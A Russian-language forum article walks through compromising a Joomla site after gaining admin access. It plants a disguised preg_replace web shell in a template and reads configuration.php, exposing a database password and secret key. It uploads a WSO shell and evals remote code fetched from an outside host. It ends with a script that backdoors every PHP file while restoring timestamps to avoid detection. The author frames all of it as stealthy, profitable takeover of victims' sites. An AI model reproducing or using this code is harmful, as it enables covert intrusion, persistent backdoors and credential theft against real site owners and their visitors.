Статья Joomla - Инфицирование движка.

centr

centr

Green Team
31.01.2017
412
434
Приветствую Граждане\Товарищи!

Это будет что-то вроде продолжение этого "Joomla не много WAF(куча барахла) SQL Injection" поста, так сказать вторая серия из не много серийного сериала про\о Joomla.

В этой серии мы поговорим о том как:
  1. Внедрить свой PHP код в какой-нибудь файл Joomla и выполнить его.
  2. Прочитать конфиг Joomla (configuration.php).
  3. Залить полноценный Shell(WSO).
  4. Написать небольшой скриптик(php) для заражения всех файлов этого движка.
И так давайте представим (в принципе что тут представлять та...) что мы получили доступ в административную панель какого нибудь сайта на движке Joomla. Вот оно (почти) счастье (а для кого то и в правду счастье), у нас есть возможность редактировать, добавлять, удалять материал и пользователей с этого ресурса, мы можем играться с внешним видом, добавлять различные категории, редактировать меню, вообщем управлять этим ресурсом как будто своим (правда только до тех пор пока настоящий админ ни очнётся).

Вот только не надо шкодничать и пакостить, это подло и не уважительно прежде всего по отношению к себе, да и какой смысл поганить чужой труд? Как будто в песочнице весь день "Маша" лепила калачик из песка, но тут пришёл "Вася", нашёл кошачью какашку в этом песке, пока "Маша" не видит попытался вставить в этот калачик и развалил этот песочный калачик.

Vasya a shit has broken my sand kalatch...
Vasya go to wash hands, they at you in "sHit"!
"Вася" моет руки ощущая запах какашки на своих пальцах и жжение на своей пятой точке от мамкиной руки, а "Маша" плачет пытаясь сделать\восстановить свой калачик.

А ведь "Вася" мог взять палочку, аккуратно проковырять дырочку в этом калачике и этой же палочкой вставить эту какашку! "Маша" бы ни чего не заметила и продолжила бы играться с этим калачиком, даже и не подозревая о вставленной каке, а "Вася" бы улыбался наблюдая за этой "Машей" и её калачиком с сюрпризом, при этом не надо было бы мыть руки и не горела бы пятая точка.

Может быть не совсем удачная аллегория, но смысл примерно тот же, только в нашем случае мы можем не только тихо, молча улыбаться, но ещё и иметь какую либо выгоду для себя!
В общем Важно всё сделать тихо и не заметно для владельца ресурса, так чтобы он (и не только) даже и не подозревал что кто-то и что-то сделал с его калачиком.

Ну, понеслась....

Внедрение PHP кода в joomla

По умолчанию у Joomla вход в административную панель находится по адресу(Но попадаются "полу-прошаренные" владельцы ресурса которые переписывают путь к этой панели):

Код:
https://victimSite.en/administrator/index.php
Авторизуемся при помощи имеющихся данных администратора и первым делом идём за информацией, ведь не даром говорят "Кто владеет информацией, тот владеет миром!":

Главное меню -> Системная информация:

1_systemInfo.png


Переходим на вкладку с PHP настройками и проверяем состояние функции загрузки файлов:

2PHPSettings.png


У нас всё good (но бывает и не good), переходим на вкладку:

3DerictoryPermissions.png


Тут как видно все директории доступны для записи.
Код:
Directory     Status
 
administrator/components     Writable 
administrator/language     Writable 
administrator/language/en-GB     Writable 
administrator/language/it-IT     Writable 
administrator/language/overrides     Writable 
administrator/manifests/files     Writable 
administrator/manifests/libraries     Writable 
administrator/manifests/packages     Writable 
administrator/modules     Writable 
administrator/templates     Writable 
components     Writable 
images     Writable 
images/banners     Writable 
images/icone     Writable 
images/sampledata     Writable 
language     Writable 
language/en-GB     Writable 
language/it-IT     Writable 
language/overrides     Writable 
libraries     Writable 
media     Writable 
modules     Writable 
plugins     Writable 
plugins/authentication     Writable 
plugins/captcha     Writable 
plugins/content     Writable 
plugins/editors     Writable 
plugins/editors-xtd     Writable 
plugins/extension     Writable 
plugins/finder     Writable 
plugins/jmonitoring     Writable 
plugins/joomlaadminmobile     Writable 
plugins/josetta_ext     Writable 
plugins/quickicon     Writable 
plugins/search     Writable 
plugins/system     Writable 
plugins/user     Writable 
plugins/xmlrpc     Writable 
templates     Writable 
configuration.php     Writable 
cache (Cache Directory)        Writable 
administrator/cache (Cache Directory)        Writable 
/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/logs (Log directory)        Writable 
/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/tmp (Temp directory)        Writable
В принципе на данном этапе это всё что нам необходимо знать, всё остальное мы получим из наиболее достоверного источника, а именно из файла настройки "configuration.php".

Самый простой способ добавить свой PHP код в Joomla, это поправить какой-нибудь доступный для редактирования файл шаблона, лучше конечно редактировать какой-нибудь файл ошибки, но бывают случаи когда такая роскошь не доступна и приходится брать то что есть.

Идём редактировать шаблон:

4_1pan.png



4_1pan.png


Ищем текущий шаблон:

5pan.png


6pan.png


И вот оно то самое окошечко в нашу "Европу" через которое мы будем добавлять свой PHP код.

7pan.png


Так как это главная страница и нам не известно кто там шастает по сайту в этот самый ответственный момент, необходим выполнять свои действия как можно скрытней для всех посетителей и пользователей ресурса, дабы не спалиться.

Для этого опускаемся в самый низ страницы, поближе к блоку с копирайтами и после последнего

PHP:
 <?php endif; ?>
          <div class="copyright">
            <p>copyright©</p>
Прям в блок с копирайтом вставим строчку php кода, тыкнем кнопочку "Save" и посмотрим как он будет отвечать:
PHP:
<?php endif; ?>
          <div class="copyright">
            <p>copyright©
            <?php
echo $_SERVER['DOCUMENT_ROOT'];
?></p>
И в самом низу страницы в копирайтах видим новую строку:
Код:
<p>copyright© /var/www/club***nap**o/data/www/club***nap**oli**met**a.com</p>
Vincen***zo*Emma***nu*elCa**s**t*el**la*no
Отлично наш код выполняется и не вызывает ни каких ошибок!

Давайте напишем не большой PHP код который создаст отдельный файл на этом хосте и запишет туда наш php код, это и будет наш мини Shell.
PHP:
<?php
// Создаём переменную $f_Jooomla_SpecLib в которой будет полный путь к нашему шелу.
$f_Jooomla_SpecLib=$_SERVER['DOCUMENT_ROOT'].'/plugins/content/JoomSysShell.php';
// Создаём переменную $Joomla_Secure_Keys_C в которой будет содержаться код нашего мини шела
// Самый простой способ это наверное использование функции eval или system, или же passthru, но по мне лучше использовать preg_replace.
$Joomla_Secure_Keys_C='<?php preg_replace(\'#joomSp#e\', $_GET[\'com_shell\'], \'joomSp\'); ?>';
// Проверяем существует ли наш файл на хосте
if (!file_exists($f_Jooomla_SpecLib)) { // если нет
// то создаём
  $fwcon=fopen($f_Jooomla_SpecLib,'a+');
// вписываем в него наш код
  fwrite($fwcon,$Joomla_Secure_Keys_C);
 // и закрываем тем самым сохраняя его.
      fclose($fwcon);
}
?>
Как я уже говорил Perl я не знаю, но это PHP, это не Perl! Так вот PHP я тоже не знаю, хотя и довольно часто его использую для написания различных скриптов которые в основном выполняются на сервере. Ребята учить языки в процессе написания кода самое интересное и полезное дело, правда не всегда получается писать правильный код, в основном это обычно портяночный псевдокод, но за то в процессе обучения этот код постоянно модифицируется.

Этот скрипт создаст наш мини shell в директории "/plugins/content/" и именем "JoomSysShell.php", ну и соответственно впишет в него код, после всех этих плясок наш мини shell будет доступен по адресу:
В панели управления клацаем кнопку "Save", переходим и проверяем его работоспособность:
Код:
 https://victimSite.com/plugins/content/JoomSysShell.php?com_shell=passthru(whoami)
whoami8.png


Отлично! У нас есть свой личный пускай и мини, но шел! Основная задача нашего топика Выполнена и можно(смело) идти ложиться спать, однако вместо этого отправлюсь на кухню, сварю себе кофейку, вернусь и мы продолжим.

Ну что кофеёк бодрящий выпит, мы же не много встряхнулись\взбодрились и готовы продолжить.

Чтение конфигурационного файла joomla(configuration.php)

Читать этот файл мы будет с помощью нашего мини шела, вообще этот шел позволяет выполнять код PHP, а значить мы можем выполнять и системные команды, но сейчас речь не об этом. Самый просто способ чтения PHP файла ( на мой взгляд ) это его копирования (в другую удобную для нас директорию) с другим расширением, к примеру txt и уже последующие чтение как обычного txt файла (в адресную строку вбиваем):
Код:
https://victimSite.com/plugins/content/JoomSysShell.php
?com_shell=copy($_SERVER['DOCUMENT_ROOT'].'/configuration.php', getcwd().'/1.txt')
Функцией "copy()" мы скопировали из корневой директории("$_SERVER['DOCUMENT_ROOT']") ресурса файл '/configuration.php' в ту же директорию где находится наш мини шел (getcwd()), но с другим именем и расширением ('/1.txt'), что по сути даёт нам право просматривать этот файл через наш браузер как обычный текстовый файл!
Код:
https://victimSite.com/plugins/content/1.txt
И мы видим всё содержимое этого файла:
PHP:
<?php
class JConfig {
    public $offline = '0';
    public $offline_message = 'Sito fuori servizio per manutenzione.<br />
SEMPRE FORZA NAPOLIE ;) ';
    public $display_offline_message = '1';
    public $offline_image = 'images/Logo club email.jpg';
    public $sitename = 'club***nap**oli**met**a.com';
    public $editor = 'tinymce';
    public $captcha = '0';
    public $list_limit = '20';
    public $access = '1';
    public $debug = '0';
    public $debug_lang = '0';
    public $dbtype = 'mysql';
    public $host = 'localhost';
    public $user = 'club***nap**o_usr';
    public $password = 'w5M7p5Nfe6';
    public $db = 'club***nap**o_db';
    public $dbprefix = 'club_';
    public $live_site = '';
    public $secret = 'e7VFuJBhNeXJbqZz';
    public $gzip = '0';
    public $error_reporting = 'none';
    public $helpurl = 'http://help.joomla.org/proxy/index.php?option=com_help&keyref=Help{major}{minor}:{keyref}';
    public $ftp_host = '127.0.0.1';
    public $ftp_port = '21';
    public $ftp_user = '';
    public $ftp_pass = '';
    public $ftp_root = '';
    public $ftp_enable = '0';
    public $offset = 'UTC';
    public $mailer = 'mail';
    public $mailfrom = 'vi**nce**nz***oemm***anuel91@gmeil.pu';
    public $fromname = 'club***nap**oli**met**a.com';
    public $sendmail = '/usr/sbin/3sendmail';
    public $smtpauth = '1';
    public $smtpuser = 'pippo';
    public $smtppass = 'pippo';
    public $smtphost = '2localhost';
    public $smtpsecure = 'none';
    public $smtpport = '250';
    public $caching = '0';
    public $cache_handler = 'file';
    public $cachetime = '15';
    public $MetaDesc = '';
    public $MetaKeys = '';
    public $MetaTitle = '1';
    public $MetaAuthor = '1';
    public $MetaVersion = '0';
    public $robots = '';
    public $sef = '0';
    public $sef_rewrite = '0';
    public $sef_suffix = '0';
    public $unicodeslugs = '0';
    public $feed_limit = '10';
    public $log_path = '/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/logs';
    public $tmp_path = '/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/tmp';
    public $lifetime = '15';
    public $session_handler = 'database';
    public $MetaRights = '';
    public $sitename_pagetitles = '2';
    public $force_ssl = '0';
    public $feed_email = 'author';
    public $cookie_domain = '';
    public $cookie_path = '';
    public $offset_user = 'UTC';
}
Теперь у нас есть данные для авторизации в Mysql панели
PHP:
public $host = 'localhost';
public $user = 'club***nap**o_usr';
public $password = 'w5M7p5Nfe6';
public $db = 'club***nap**o_db';
Так же есть данные от почтового (SMTP) сервера:
PHP:
public $mailfrom = 'vi**nce**nz***oemm***anuel91@gmeil.pu';
public $fromname = 'club***nap**oli**met**a.com';
public $sendmail = '/usr/sbin/3sendmail';
public $smtpauth = '1';
public $smtpuser = 'pippo';
public $smtppass = 'pippo';
public $smtphost = '2localhost';
public $smtpsecure = 'none';
public $smtpport = '250';
По идеи должны быть ещё данные авторизации для FTP сервера:
PHP:
public $ftp_host = '127.0.0.1';
public $ftp_port = '21';
public $ftp_user = '';
public $ftp_pass = '';
Но к сожалению здесь их нет, но в принципе это не беда, ведь у нас есть свой мини шел который позволит нам выполнить практически любую задачу.

Так же можно прочесть этот же файл( или какой-либо другой ) при помощи функций "print" и "file_get_contents"

Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=print file_get_contents($_SERVER['DOCUMENT_ROOT'].'/configuration.php')
Используя функцию "file_get_contents" мы получаем содержимое файла '/configuration.php' который располагается в корневой директории сайта, а при помощи функции "print" мы её выводим на экран. Правда в этом случае некоторая часть файла некорректно отобразится на странице, но всё будет видно через исходный код страницы, точно так же как и в случае с копированием.

После того как мы прочитали содержимое конфига, лучше удалить скопированный ранее нами файл (разумеется если вы его копировали), сделать это можно используя функцию "unlink()":
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=unlink(getcwd().'/1.txt')
Будьте аккуратны при использовании этой функции, ибо можно и "похерить" всё это дело. Ну что давайте зальём уже полноценный Web Shell, да бы вкусить большее количество сладостной власти над чужим ресурсом!

Заливка полноценный Web Shell'a(WSO)...

Имея доступ к административной панели можно залить практически любой файл, правда по умолчанию joomla не позволяет заливать php\phtml\shtml и другие подобные файлы, но нам то всё равно, мы имеем возможность править исходный код самой Joomla и все эти псевдо-ограничения не для нас!

Заходим в административную панель и переходим Медиа менеджер

9mediaman.png


Как видим у нас есть возможность залить файл в директорию "/images/", в принципе так и сделаем. Берём любой php shell который нам нравится (в принципе меня вполне устраивает и WSO) и меняем его расширение на txt, далее опускаемся ниже:

10upload.png


Тычем кнопку "Browse...", выбираем наш файл и тычем кнопку "Start Upload"

11upload.png


Всё прекрасно, теперь у нас есть несколько вариантов его юзанья, первый мы можем его так и оставить в этой директории, с этим расширением (тем самым подвергая его большёму риску быть обнаруженным и удалённым) и юзать его через наш мини шел используя функцию eval, или passthru:
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=eval(file_get_contents('/var/www/club***nap**o/data/www/club***nap**oli**met**a.com/images/banners/ak.txt'))
Правда в этом случае необходимо будет удалить теги php "", да по большёму счету в этом случае его можно и во все не заливать на этот сервер, а использовать с другого хостинга.
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=passthru(eval(file_get_contents('http://host.nl/ak.txt')))
Или же переместить и переименовать этот файл используя функцию PHP rename() или более универсальную связку функций copy() and unlink()(Функция rename() в Unix системах не способна перемещать файлы, так что использовать copy() будет более универсальным решением.)
Всё это сделать мы можем сделать через административную панель внедрив свой код, или же через наш мини шел.
PHP:
<?php
// Копируем залитый нами txt файл с кодом шела меняя ему расширение на php
copy($_SERVER['DOCUMENT_ROOT'].'/images/banners/ak.txt', $_SERVER['DOCUMENT_ROOT'].'/plugins/user/shell.php');
// Удаляем залитый через панель файл
unlink($_SERVER['DOCUMENT_ROOT'].'/images/banners/ak.txt')
?>
Использовать точно так же как и на первом этапе этого топика, shell будет доступен по адресу:
Код:
https://siteVictime.en/plugins/user/shell.php
Либо через наш мини шел ускорить весь процесс:
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=copy($_SERVER['DOCUMENT_ROOT'].'/images/banners/ak.txt', $_SERVER['DOCUMENT_ROOT'].'/plugins/user/shell.php')
И удаляем загруженный ранее через панель файл:
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=unlink($_SERVER['DOCUMENT_ROOT'].'/images/banners/ak.txt')
Имея свой мини шел на борту хоста можно обойтись и без панели, ибо зачем нам там лишний раз ковыряться, у нас есть прямой доступ интерпретатору PHP и частично к самой системе борта.
И тут всё очень просто! Тут опять-таки несколько вариантов, все расписывать не буду (ибо пост и так довольно содержательный), самый быстрый и самый простой это написать HTML документ и через него методом POST отправить необходимый файл:
HTML:
<form action = "http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=move_uploaded_file($_FILES['nmfile']['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/plugins/captcha/cap.php')" method = "post" enctype = 'multipart/form-data'>
  <input type = "file" name = "nmfile" />
  <input type = "submit" value = "Upload" />
</form>
Параметр "action" содержит прямую ссылку с PHP кодом который будет выполняться на стороне сервера, то есть при нажатии на кнопку "Upload" методом POST мы обратимся к нашему мини шелу с командой принять и переместить файл в указанном месте:
Код:
http://club***nap**oli**met**a.com/plugins/content/JoomSysShell.php
?com_shell=move_uploaded_file($_FILES['nmfile']['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/plugins/captcha/cap.php')
В данном случае это:
Код:
$_SERVER['DOCUMENT_ROOT'].'/plugins/captcha/cap.php'
То есть наш свежи залитый шел будет доступен по адресу:
Код:
http://club***nap**oli**met**a.com/plugins/captcha/cap.php
Думаю на данном этапе этого даже более чем достаточно.

Перед следующим этапом не помешает сделать BackUp всех файлов и БД в придачу. По сути нам просто необходимо создать архив в котором будут находиться все файлы сайта и база MYSQL.
С дампом БД так же как и с бэком всех файлов может разобраться shell, к примеру WSO без проблем делает дамп, так же умеет архивировать все файлы, данные для авторизации в MYSQL мы получили на втором этапе этого топика.

Сделать backup файлов\ДБ можно в помощь админу, да так что бы у нас тоже было, ну вдруг что-то пойдёт ни так... (Да ребята мы можем уничтожить ресурс, по крайней мере под какать так что нужно будет восстанавливать с backup'a созданного ранее ( если он конечно был создан).Ибо в прошлый раз писав скриптик заражения движка( а дело было в пятом часу утра), пропустил один символ(всего один лишь символ) и норвежская женская футбольная команда лишилась своего сайта, лежит этот ресурс уже третий день, когда был на хосте мне на глаза не попалось ни одного бэка, возможно сайт ушёл в полное небытиё...(С кем не бывает?)).
В нашем случае у админа есть плагин:

akeeba_backup.png


Думаю бэк у него есть, но для себя я все равно его сделаю и скачаю, ну так что бы был.
Для дампа БД можно использовать вот этот скрипт:
PHP:
<?
$bd_host='localhost';
$bd_user='root';
$bd_pass='';
$bd_name='mydb';
$dump_dir = "temp"; // директория, куда будем сохранять резервную копию БД
$dump_name = "dump.sql"; //имя файла
$insert_records = 50; //записей в одном INSERT
$gzip = true;         //упаковать файл дампа
$stream = true;        //вывод файла в поток

$link = mysql_connect($bd_host, $bd_user, $bd_pass) or die( "Сервер базы данных не доступен" );
$db = mysql_select_db($bd_name) or die( "База данных не доступна" );
$res = mysql_query("SHOW TABLES") or die( "Ошибка при выполнении запроса: ".mysql_error() );
$fp = fopen( $dump_dir."/".$dump_name, "w" );
while( $table = mysql_fetch_row($res) )
{
$query="";
    if ($fp)
    {
        $res1 = mysql_query("SHOW CREATE TABLE ".$table[0]);
        $row1=mysql_fetch_row($res1);
        $query="\nDROP TABLE IF EXISTS `".$table[0]."`;\n".$row1[1].";\n";
        fwrite($fp, $query); $query="";
        $r_ins = mysql_query('SELECT * FROM `'.$table[0].'`') or die("Ошибка при выполнении запроса: ".mysql_error());
        if(mysql_num_rows($r_ins)>0){
        $query_ins = "\nINSERT INTO `".$table[0]."` VALUES ";
        fwrite($fp, $query_ins);
        $i=1;
        while( $row = mysql_fetch_row($r_ins) )
        { $query="";
            foreach ( $row as $field )
            {
                if ( is_null($field) )$field = "NULL";
                else $field = "'".mysql_escape_string( $field )."'";
                if ( $query == "" ) $query = $field;
                else $query = $query.', '.$field;
            }
            if($i>$insert_records){
                            $query_ins = ";\nINSERT INTO `".$table[0]."` VALUES ";
                            fwrite($fp, $query_ins);
                            $i=1;
                            }
            if($i==1){$q="(".$query.")";}else $q=",(".$query.")";
            fwrite($fp, $q); $i++;
        }
        fwrite($fp, ";\n");
    }
    }
} fclose ($fp);

if($gzip||$stream){ $data=file_get_contents($dump_dir."/".$dump_name);
$ofdot="";
if($gzip){
    $data = gzencode($data, 9);
    unlink($dump_dir."/".$dump_name);
    $ofdot=".gz";
}

if($stream){
        header('Content-Disposition: attachment; filename='.$dump_name.$ofdot);
        if($gzip) header('Content-type: application/x-gzip'); else header('Content-type: text/plain');
        header("Expires: 0");
        header("Cache-Control: must-revalidate, post-check=0,pre-check=0");
        header("Pragma: public");
        echo $data;
}else{
        $fp = fopen($dump_dir."/".$dump_name.$ofdot, "w");
        fwrite($fp, $data);
        fclose($fp);
    }
}
 ?>
Его я честно нашёл на просторах рунета, в данный момент просто нет желания заморачиваться с писаниной дампа ( в голове вертится не много другой алгоритм), по поводу бэка файлов, можно написать небольшой скриптик:
PHP:
<?php
$arh =$_SERVER['DOCUMENT_ROOT'].'/ibackup.tar';
$dir = $_SERVER['DOCUMENT_ROOT'].'/';
$phar = new PharData($arh);
$phar->buildFromDirectory($dir);
?>
Закинуть, перейти на него и не много подождать ( в течение пятнадцати минут архив должен быть готов, тут в принципе зависит от объёма данных.), архив создать в корне сайта, скачать можно перейдя по ссылке:
Код:
https://victimSite.com/ibackup.tar
Инфицируем все php файлы находящиеся на сайте

Сейчас мы замутим скриптик который поможет нам закрепится на этом сайте, по сути он заразит кодом нашего мини шела каждый php файл на этом сайте, тем самым усложнит ситуацию для админа.Если всё сделать тихо и почистить за собой все логи, убрать все следы своего прибывания ( по крайней мере видимые ), то ни кто и не заподозрит что кто то заразил его сайт, а мы тем временем сможем получать свою выгоду используя его ресурс.
PHP:
<?php
    // Скрипт ищет php файлы на хосте и добавляет в каждый найденный файл строку с shell кодом
    // index.php?com_***=passthru(dir)
    // *.php?com_joom=passthru(whoami)
 
 
    //Это функция записывающая строку шел кода в начало файла.
    function wrtStrShell($flName) {
        // получаем рамдомную строчку из 5 символов, дабы не много видо изменить добавляемую строчку
        // и тем самым усложнить удаление этой строчки из всех файлов.
        $rn_str=substr(str_shuffle(str_repeat('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789',5)),0,5);
        //Практически то же самое, только используется для рамдомизации параметра в запросе.
        //то есть у каждого файла будет свой параметра запроса в виде index.php?com_oplkdk=eval(),error.php?com_hytrgd=eval(),configuration.php?com_3hyddx=eval() и так для каждого файла
        $rn_p='com_'.substr(str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz',7)),0,7);
        // составлем наш шел код в одну строчку
        $str_shell='<?php preg_replace(\'#'.$rn_str.'#e\', $_GET[\''.$rn_p.'\'], \''.$rn_str.'\'); ?>';
    //получаем время последнего изменения файла
    $dt_f=date ("F d Y H:i:s.",filemtime($flName));
        //получаем полное содержимое файла
        $current = file_get_contents($flName);     
// Пишем содержимое обратно в файл, но прежде всего вставляем строчку с шел кодом
file_put_contents($flName, $str_shell."\n".$current);
//Ставим обратно время последнего изменния на то которое было получено ранее
touch($flName, $dt_f);
// возвращаем имя файла и его параметра для обращения к шел коду
        return $flName.'?'.$rn_p.'=passthru(dir)';
     
    }
 
    // это функция рекурсивного сканирования директорий на предмет файлов подходящих заданному параметру
    // в нашем случае это расширение PHP
function find_all_files($dir)
{
    $root = scandir($dir);// функция scandir сканирует директорию
    foreach($root as $value) // создаём рекурсию для просмотра под директорий
    {
        if($value === '.' || $value === '..') {continue;}
        if(is_file("$dir/$value")) {$result[]="$dir/$value";continue;}
        foreach(find_all_files("$dir/$value") as $value)
        {
            $result[]=$value;
        }
    }
    return $result;
}

$all=find_all_files($_SERVER['DOCUMENT_ROOT']);// как обычно указываем корневую дерикторию к нашему сайту

if($all){
     foreach($all as $fnm){
         if (pathinfo($fnm,PATHINFO_EXTENSION)=='php'){// получаем расширение файла и проверяем его на совпадение заданному
         echo '<hr><b>PHP File includin:</b><br>'; // если всё ок, то пишем строчку и передаём в функцию изминения файла
          echo $fnm.'<br>'.wrtStrShell($fnm).'<br>'; // выводим полученную от нашей функции строку

}       
}
}

?>
Заливаем на сайт, запускаем, записываем вывод в какой-нибудь текстовый файлик, сохраняем и улыбаемся, улыбаемся потому что теперь у нас есть доступ к этому сайту при обращении к любому файлу этого движка!

Ни забудьте удалить скрипт инфицирования с сервера ( ибо он там не нужен), а заодно теперь можно удалить и ранее залитые шелы, ибо они тоже только создают лишние подозрения.
Вывод инфицирующего скрипта можно увидеть здесь

P.S. Каюсь местами дал лишка, но прошу простить, дело было в ночное время.
 

Вложения

Последнее редактирование:
Мы в соцсетях: